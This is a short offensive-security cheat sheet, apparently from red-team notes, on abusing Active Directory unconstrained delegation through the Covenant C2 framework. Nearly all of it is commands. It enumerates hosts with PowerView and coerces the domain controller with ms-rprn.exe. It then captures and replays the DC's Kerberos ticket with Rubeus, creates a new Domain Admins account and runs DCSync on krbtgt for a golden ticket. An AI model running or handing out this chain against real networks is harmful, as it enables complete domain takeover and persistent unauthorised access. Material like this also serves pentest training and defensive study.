# Unconstrained Delegation

* This means that the computer is trusted to delegate any service.

## Enumeration

*   Here we assume we have a high integrity grunt in Covenant with a computer that has unconstrained delegation, we can check this using this command: `powershell get-netcomputer -unconstrained -properties dnshostname`\
    Here is what the result looks like, so we have Workstation-01 that has unconstrained Delegation

    ```
    dnshostname                  
    -----------                  
    DC01.domain.local          
    WORKSTATION-01.domain.local
    ```

## Exploitation

* We upload ms-rprn.exe with the Covenant `upload` command to our target
* We run it `shell ms-rprn.exe \\dc01 \\workstation-01`
* run `rubeus dump /service:krbtgt` here we will want to copy and keep aside the DC01 Base64EncodedTicket
* `maketoken adminsitrator domain type-any-string-here`
* `rubeus ptt /ticket PASTE-HERE-DC01-Base64EncodedTicket`
*   We should now be able to create a new user and add it to the Domain Admins

    ```
    shell net user user SafePass1! /add /domain
    shell net group "Domain Admins" user /add /domain
    ```
* `dcsync domain\krbtgt` We will need this if we want to do a golden ticket
